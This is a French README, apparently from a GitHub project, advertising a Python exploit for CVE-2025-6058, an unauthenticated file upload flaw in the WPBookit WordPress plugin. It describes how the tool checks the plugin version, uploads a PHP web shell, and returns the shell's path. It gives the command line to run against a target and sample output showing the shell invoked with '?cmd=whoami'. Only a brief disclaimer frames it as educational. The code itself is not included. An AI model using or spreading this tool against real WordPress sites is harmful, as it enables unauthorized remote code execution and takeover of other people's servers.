⚡ WPBookit <= 1.0.4 - Téléchargement arbitraire de fichiers sans authentification

📝 Description

Le plugin WPBookit pour WordPress est vulnérable au téléchargement arbitraire de fichiers en raison de l'absence de validation du type de fichier dans la fonction image_upload_handle(), qui est accrochée via la route add_booking_type dans toutes les versions jusqu'à la 1.0.4 incluse.
Cette faille permet à des attaquants non authentifiés de télécharger des fichiers arbitraires sur le serveur du site affecté, pouvant conduire à une exécution de code à distance.

CVE	Score CVSS	Date de publication	Dernière mise à jour
CVE-2025-6058	9.8 (Critical)	July 11, 2025	July 12, 2025

🚀 Que fait cet exploit ?

Cet exploit automatise le processus de :

Détecter si la cible exécute une version vulnérable de WPBookit (<= 1.0.4)
Télécharger un shell PHP en utilisant la route vulnérable, sans authentification
Confirmer le téléchargement du shell et fournir son chemin exact pour l'exécution de commandes à distance

🛠️ Utilisation

python3 CVE-2025-6058.py -u http://target.com/wordpress

🖥️ Exemple

python3 CVE-2025-6058.py -u http://target.com/wordpress

🆘 Exemple d'aide et de bannière

python CVE-2025-6058.py -help

  ______   __     __  ________       ______    ______    ______   _______            ______    ______   _______    ______  
 /      \ /  |   /  |/        |     /      \  /      \  /      \ /       |          /      \  /      \ /       |  /      \ 
/$$$$$$  |$$ |   $$ |$$$$$$$$/     /$$$$$$  |/$$$$$$  |/$$$$$$  |$$$$$$$/          /$$$$$$  |/$$$$$$  |$$$$$$$/  /$$$$$$  |
$$ |  $$/ $$ |   $$ |$$ |__  ______$$____$$ |$$$  \$$ |$$____$$ |$$ |____   ______ $$ \__$$/ $$$  \$$ |$$ |____  $$ \__$$ |
$$ |      $$  \ /$$/ $$    |/      |/    $$/ $$$$  $$ | /    $$/ $$      \ /      |$$      \ $$$$  $$ |$$      \ $$    $$< 
$$ |   __  $$  /$$/  $$$$$/ $$$$$$//$$$$$$/  $$ $$ $$ |/$$$$$$/  $$$$$$$  |$$$$$$/ $$$$$$$  |$$ $$ $$ |$$$$$$$  | $$$$$$  |
$$ \__/  |  $$ $$/   $$ |_____     $$ |_____ $$ \$$$$ |$$ |_____ /  \__$$ |        $$ \__$$ |$$ \$$$$ |/  \__$$ |$$ \__$$ |
$$    $$/    $$$/    $$       |    $$       |$$   $$$/ $$       |$$    $$/         $$    $$/ $$   $$$/ $$    $$/ $$    $$/ 
 $$$$$$/      $/     $$$$$$$$/     $$$$$$$$/  $$$$$$/  $$$$$$$$/  $$$$$$/           $$$$$$/   $$$$$$/   $$$$$$/   $$$$$$/  
                                                                                                                           
                                                                                                                           
                                                                                                                           

Exploit By : Khaled Alenazi (Nxploited ) GitHub: https://github.com/Nxploited

usage: CVE-2025-6058.py [-h] -u URL

CVE-2025-6058 WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target URL e.g http(s)://target.com/wordpress

📤 Sortie

[*] Checking plugin version ...
[*] Exploiting file upload ...
[+] Exploitation successful!
[+] Shell path: wp-content/uploads/2025/07/shell.php?cmd=whoami
Exploit By : Khaled Alenazi (Nxploited ) GitHub: https://github.com/Nxploited

⚠️ Avertissement

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
L'auteur n'est pas responsable de toute utilisation abusive ou non autorisée.
Utilisez-le à vos propres risques et assurez-vous toujours d'avoir l'autorisation de tester le système cible.

Par : Khaled Alenazi (Nxploited)

CVE-2025-6058

Populaires